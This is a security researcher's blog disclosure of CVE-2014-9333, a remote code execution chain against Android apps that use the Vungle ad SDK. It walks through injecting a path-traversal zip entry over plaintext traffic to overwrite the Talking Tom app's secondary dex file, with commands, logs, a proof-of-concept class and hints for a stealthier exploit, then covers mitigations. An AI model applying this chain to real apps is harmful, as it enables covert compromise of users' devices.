A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications
Posted by Ryan Welton NowSecure MarketingSummary
The following blog explains vulnerabilities that allow attackers to execute code remotely on a Android userUs device through applications which contain both a arbitrary file write and use multiple dex files. This remote exploitation can occur without the userUs knowledge.
In this post, I will walk you through the issues and the process of developing a remote code execution exploit for the Talking Tom application. This is a pattern which can be applied to many other applications. If you have any questions, feel free to contact me via Twitter at @fuzion24.
A video of the vulnerability in action can be seen below:
https://youtube.com/watch?v=u9XqWuY0WG8
Vulnerabilities in External Libraries
External, third-party libraries are often used by developers and are included in hundreds of thousands of applications. These libraries are treated like a black box. Developers choosing to implement external libraries in their applications must recognize that these libraries frequently contain vulnerabilities that weaken the overall security of applications, with advertisement libraries being a particular target of interest. If and when vulnerabilities are identified in external libraries, the vulnerabilities must be patched, and the developer must then rebuild the application and redistribute it with a fixed library, as currently there is no operating system supported library sharing mechanism. This leads to applications with long-standing or, at times, permanent vulnerabilities, even if patches to the external library are released.
The Vungle advertisement library contains an arbitrary write vulnerability which affects thousands of applications. While is not uncommon for games and other types of applications to download additional resources in plaintext via a zipfile, this library provides an easy target as it is widely used and the attack vector is identical across all affected applications. We responsibly disclosed this vulnerability to Vungle prior to notifying all of the affected developers, and then directly notified developers of the affected applications.
We determined that applications using the Vungle library and containing both a remote arbitrary file write and using multiple dex files are remotely exploitable. Attackers can modify network traffic to gain code execution on a userUs phone. This code execution will be restricted to the sandbox of the application. However, since OEMs and Google are relatively inadequate at releasing device patches to known privilege escalation vulnerabilities, it becomes trivial for an attacker to escape the application sandbox once code execution has been gained on a vast majority of devices. This type of vulnerability is particularly unfortunate because developers typically have very little visibility into the internal workings of 3rd party libraries. This is due to the fact that they are usually distributed as blackbox binaries. The developers, therefore, can only be at fault for blindly including libraries of which they have no visibility.
Vungle Arbitrary Write Vulnerability
The Vungle advertisement library is distributed as a .jar which developers can include into their application. When a developer utilizes this SDK, their application becomes vulnerable to a remote arbitrary file write vulnerability. The following is a brief synopsis of the vulnerability (assigned CVE-2014-9333):
We can set up a man in the middle attack against the phone to proxy the deviceUs network traffic and see what is being sent by the application. The first request we see from the library is requesting instructions from the server on what to display:
POST http://api.vungle.com/api/v1/requestAd _ 200 application/json 967B 947.36kB/s
In the JSON response, we can see the server tell the app where to download additional zip resources which contain the video advertisements that are displayed throughout the application.
{ ... "postBundle": "http://cds.g8j8b9g6.hwcdn.net/bundles/526956a8584cbfa904000010-4.zip" ... }
Shortly thereafter, we see this zip being downloaded:
GET http://cds.g8j8b9g6.hwcdn.net/bundles/526956a8584cbfa904000010-4.zip _ 200 application/zip 292.45kB 1.97MB/s
This ZIP file is downloaded in plaintext. There are no further mitigations to prevent tampering of the file. The Android ZIP APIs do not prevent directory traversals by default, allowing for a file with a directory traversal in the name to be injected on-the-fly into the ZIP. This allows us to gain an arbitrary write in the context of the app. With this, we can easily write a script for a proxy that will inject our payload on-the-fly into the zip. LetUs test this out by downloading the payload using our zip injecting proxy:
$ curl -x http://localhost:9999 http://cds.g8j8b9g6.hwcdn.net/bundles/51508704e2903eb17f000006-2.zip > tmp.zip
Now, letUs look at the files in the zip we downloaded through our proxy:
$ unzip -l tmp.zip Archive: tmp.zip Length Date Time Name -------- ---- ---- ---- 28036 12-27-13 09:06 app_icon.jpg 3807 12-27-13 09:06 app_store.gif 28250 12-27-13 09:06 download_arrow_minimal.png 21153 12-27-13 09:06 exit_button_down_minimal.png 20159 12-27-13 09:06 exit_button_minimal.png 3426 12-27-13 09:06 index.html 69878 12-27-13 09:06 landscape.jpg 63430 12-27-13 09:06 portrait.jpg 1182 12-27-13 09:06 postroll-script.js 11599 12-27-13 09:06 postroll-style.css 21834 12-27-13 09:06 replay_button_down_minimal.png 20521 12-27-13 09:06 replay_button_minimal.png 20564 12-27-13 09:06 star_empty.png 19843 12-27-13 09:06 star_full.png 20225 12-27-13 09:06 star_half.png 5433 12-27-13 09:06 vungle_logo.png 4 01-01-80 00:00 ../../../../../../../../../../../../../../../../../../../../../../data/data/com.outfit7.mytalkingtomfree/code_cache/secondary-dexes/i_wrote_files_here_which_is_bad -------- ------- 359344 17 files
Notice here that the zip was injected with a directory traversal that writes inside of the app directory. During the attack, we can see that our files were written in the applicationUs data directory. This directory is only writable by the application that owns it:
root@hammerhead:/data/data/com.outfit7.mytalkingtomfree/code_cache/secondary-dexes # ls -l | grep i_wrote -rw------- u0_a188 u0_a188 5 2014-10-17 17:55 i_wrote_files_here_which_is_bad
Our dummy payload was successfully extracted by Vungle. Now, we need to turn this file write into something more useful.
Turning our Arbitrary File Write into Code Execution
Although the arbitrary file write is interesting, it only allows for us to be somewhat destructive by filling up the disk and overwriting files. LetUs now look for a target that the application has write access to, which we can use to gain code execution.
The executable code of an Android application is stored inside the .APK (just a zip file) in a single file named classes.dex where .dex stands for Dalvik Executable. When Android applications are installed, the classes.dex file is extracted from the APK and run through the the Dalvik optimizer. The optimized dex file, which has the file extension .odex
, is then stored in /data/dalvik-cache/
. Here is the optimized dex file for Google+:
root@flo:/data/dalvik-cache # ls -l data@[email protected]@classes.dex -rw-r--r-- system all_a65 9691304 2014-10-28 17:44 data@[email protected]@classes.dex
Notice here, that even Google+ itself doesnUt have write access to its own .odex file. It canUt tamper or rewrite the original classes.dex file as it does not write to the filesystem where it can be modified by the application. Additionally, apps cannot modify their own Android package file (.apk) after installation. Taking a look at an .odex file, we notice that itUs owned by system:all_a65, but only system has write access to this file. In this way, an application cannot modify its own Dalvik bytecode. In order for an application to dynamically extend itself, it needs to utilize the DexClassLoader APIs.
The virtual machine on which Android applications execute, the Dalvik Virtual Machine, was designed for high efficiency and low power devices. The executable code for the VM is typically stored in a single file named classes.dex. In contrast, Java bytecode is spread across many files with each file containing the bytecode for one class.
The compactness of the DEX format allows for deduplication of strings and other constants. It also allows the file to be memory mapped rather than lazy loaded from disk. The Dalvik executable format (.dex) has well documented limitations which has some horrible workarounds that are exacerbated by bloated libraries. There are, however, solutions for this problem.
The Dalvik Exchange tool, which converts Java bytecode in the form of .class files into DEX format, has recently added support for automatically splitting applications that exceed the method limit into multiple .dex files. Until the latest Android support library revision, rev v21, applications had to manually manage the extra dalvik executables and dexload them when necessary.
Taking a look at the files in the APK (the file format for Android applications; a zip file), we can see there are two dalvik executable files classes.dex
and classes2.dex
.
_ ~ unzip -l com.outfit7.mytalkingtomfree-1.apk | grep classes 5286068 10-20-14 10:46 classes2.dex 6385320 10-20-14 10:46 classes.dex
Android itself prior to Android 5.0 has no awareness of any Dalvik executable file except for classes.dex. The multi-dex support library will need to load any secondary dex files (classesX.dex) dynamically. If we take a look at the dex loading API in Android we see:
public DexClassLoader (String dexPath, String optimizedDirectory, String libraryPath, ClassLoader parent)
This means that we can only load a DexFile from disk and, therefore, the secondary dex loader will need to write our executable code to a disk where the app has write capabilities:
root@flo:/data/data/com.outfit7.mytalkingtomfree/code_cache/secondary-dexes # ls -l -rw-r--r-- u0_a285 u0_a285 6000888 2014-10-28 18:03 com.outfit7.mytalkingtomfree2.apk.classes2.dex -rw------- u0_a285 u0_a285 2192253 2014-10-28 18:03 com.outfit7.mytalkingtomfree2.apk.classes2.zip
Poor kitty is about to get owned and he doesn’t even know it:
Let’s validate that this is the exact same dex file as we saw earlier in the APK. We check the SHA1 of the classes2.dex in the APK:
_ /tmp unzip com.outfit7.mytalkingtomfree-1.apk classes2.dex Archive: com.outfit7.mytalkingtomfree-1.apk inflating: classes2.dex _ /tmp shasum classes2.dex f6796f0ba08aa8661ffa764025b3f645b197cc18 classes2.dex
Let’s pull the classes2.dex from the device and check its SHA1:
_ /tmp adb shell su -c "cp /data/data/com.outfit7.mytalkingtomfree/code_cache/secondary-dexes/com.outfit7.mytalkingtomfree-2.apk.classes2.zip /data/local/tmp/" _ /tmp adb shell su -c "chmod 666 /data/local/tmp/com.outfit7.mytalkingtomfree-2.apk.classes2.zip" _ /tmp adb pull /data/local/tmp/com.outfit7.mytalkingtomfree-2.apk.classes2.zip 3246 KB/s (2192253 bytes in 0.659s) _ /tmp unzip -l com.outfit7.mytalkingtomfree-2.apk.classes2.zip Archive: com.outfit7.mytalkingtomfree-2.apk.classes2.zip Length Date Time Name -------- ---- ---- ---- 5286068 10-28-14 15:01 classes.dex -------- ------- 5286068 1 file _ /tmp unzip com.outfit7.mytalkingtomfree-2.apk.classes2.zip classes.dex Archive: com.outfit7.mytalkingtomfree-2.apk.classes2.zip inflating: classes.dex _ /tmp shasum classes.dex f6796f0ba08aa8661ffa764025b3f645b197cc18 classes.dex
Great. They match just as we thought.
This zip file contains the additional bytecode (the secondary dex) which is writeable by the application. Since the Dalvik bytecode is writable from application context, we have a clear path to turn a write vulnerability into code execution. Let’s get to work using our arbitrary file write via the Vungle library to overwrite the secondary dexfile.
We now have our arbitrary write primitive and we have a way to turn that into code execution. Let’s start crafting our payload. We will need to create a zip file with a classes.dex in it, which will get loaded by our target app and execute our payload. I took a very naive approach to solve this problem: I created a .dex file with a HelloWorld class and injected it into the zip.
After injecting the .dex file I created into the zip, we see that the VM tried to load my .odex and realized it was stale because I had TupdatedU the Dalvik bytecode.
I/dalvikvm(25418): DexOpt: source file mod time mismatch (455455dc vs 455c6d35) D/dalvikvm(25418): ODEX file is stale or bad; removing and retrying (/data/data/com.outfit7.mytalkingtomfree/code_cache/secondary-dexes/com.outfit7.mytalkingtomfree-1.apk.classes2.dex) D/dalvikvm(25418): DexOpt: --- BEGIN 'com.outfit7.mytalkingtomfree-1.apk.classes2.zip' (bootstrap=0) --- D/dalvikvm(25435): DexOpt: load 3ms, verify+opt 0ms, 87780 bytes D/dalvikvm(25418): DexOpt: --- END 'com.outfit7.mytalkingtomfree-1.apk.classes2.zip' (success) --- D/dalvikvm(25418): DEX prep '/data/data/com.outfit7.mytalkingtomfree/code_cache/secondary-dexes/com.outfit7.mytalkingtomfree-1.apk.classes2.zip': unzip in 0ms, rewrite 55ms
The DEX file the app is loading has none of the expected classes, so it crashes with a NoClassDefFoundError exception.
W/System.err(25418): java.lang.NoClassDefFoundError: com.outfit7.talkingfriends.clips.c W/System.err(25418): at com.outfit7.talkingfriends.clips.ClipManager.(ClipManager.java:29) W/System.err(25418): at com.outfit7.unity.ads.UnityAdManager.setupOffersAndVideoClips(UnityAdManager.java:194) W/System.err(25418): at com.outfit7.unity.ads.UnityAdManager.setupAll(UnityAdManager.java:202) W/System.err(25418): at com.outfit7.unity.ads.UnityAdManager.access$100(UnityAdManager.java:30) W/System.err(25418): at com.outfit7.unity.ads.UnityAdManager$2.run(UnityAdManager.java:299) W/System.err(25418): at android.os.Handler.handleCallback(Handler.java:733) W/System.err(25418): at android.os.Handler.dispatchMessage(Handler.java:95) W/System.err(25418): at android.os.Looper.loop(Looper.java:136) W/System.err(25418): at android.app.ActivityThread.main(ActivityThread.java:5001) W/System.err(25418): at java.lang.reflect.Method.invokeNative(Native Method) W/System.err(25418): at java.lang.reflect.Method.invoke(Method.java:515) W/System.err(25418): at com.android.internal.os.ZygoteInit$MethodAndArgsCaller.run(ZygoteInit.java:785) W/System.err(25418): at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:601) W/System.err(25418): at dalvik.system.NativeStart.main(Native Method)
No problem! Let’s just add com.outfit7.talkingfriends.clips.c class to appease the app and toss our payload in there:
package com.outfit7.talkingfriends.clips; import android.util.Log; public class c { public c(){ Log.d("WINNER", "Game Over"); } }
After closing the app and reopening, our dex gets optimized and loaded. Since our payload is simply logging a statement to logcat to prove code execution, we can check logcat:
_ ~ adb logcat | grep WINN D/WINNER ( 7490): Game Over
This logging statement can easily be replaced with any malicious payload.
The app crashes after this which would take down our child process. In order to make a production grade exploit, we would need to create a zombie process and replace our payload with the original so the app continues to function as normal.
A more sophisticated exploit would be to inject the payload directly into the original dex file, by reverse engineering and patching the dalvik bytecode or by having the payload replace the original dexfile after execution.
Mitigations and Closing Thoughts
Plaintext traffic
All traffic between clients and servers should encrypted and authenticated. TLS (Transport Layer Security, previously SSL) should be used for all communications between the client and the server including for file downloads such as ZIP files. Consider the recent example of Verizon injecting unique indentifiers into traffic. Attacks like this can be mitigated best by employing TLS. Using TLS to secure all communications would require attackers to obtain control over a Certificate Authority, making it that much harder to exploit these applications.
Validation of Zip files
The default behavior of Android’s Zip library is dangerous. In order for the zip to write files outside of the target extraction directory an additional flag should be provided. Let’s consider how GNU unzip handles a zip file with a directory traversal in the filename:
Here is an example of a zip file that includes a relative directory traversal:
_ ~ unzip -l evil.zip Archive: evil.zip Length Date Time Name --------- ---------- ----- ---- 1025 2014-11-10 14:55 ../../../../../../../../some/random/path/bin --------- ------- 1025 1 file
When we try to extract this zip file with GNU unzip, it strips off any dangerous components and extracts inside of the current working directory:
_ ~ unzip evil.zip Archive: evil.zip warning: skipped "../" path component(s) in ../../../../../../../../some/random/path/bin extracting: some/random/path/bin _ ~ ls -l some/random/path/bin -rw-r--r-- 1 fuzion24 fuzion24 1025 Nov 10 14:55 some/random/path/bin _ ~ ls some/random/path/bin some/random/path/bin
There exists a flag to allow GNU unzip to extract files outside of the active extraction folder tree head.
_ ~ unzip -: evil.zip Archive: evil.zip extracting: ../../../../../../../../some/random/path/bin
From man unzip
we can learn more about this flag:
-: [all but Acorn, VM/CMS, MVS, Tandem] allows to extract archive members into locations outside of the current `` extraction root folder''. For security reasons, unzip normally removes ``parent dir'' path components (``../'') from the names of extracted file. This safety feature (new for version 5.50) prevents unzip from accidentally writing files to ``sensitive'' areas outside the active extraction folder tree head. The -: option lets unzip switch back to its previous, more liberal be_ haviour, to allow exact extraction of (older) archives that used ``../'' components to create multiple directory trees at the level of the current extraction folder. This option does not enable writing explicitly to the root directory (``/''). To achieve this, it is nec_ essary to set the extraction target folder to root (e.g. -d / ). How_ ever, when the -: option is specified, it is still possible to implic_ itly write to the root directory by specifying enough ``../'' path com_ ponents within the zip archive. Use this option with extreme caution.
Android therefore, needs to take care to ensure sane defaults. If a developer needs to extract files outside of the current working directory, this should be an option, but its manual specification should not be required.
Developer mistakes are inevitable. The easiest, most effective way to prevent this and similar type of attacks is to ensure that all network traffic is properly secured via TLS. This is important enough that it bears repeating: All network traffic should be encrypted!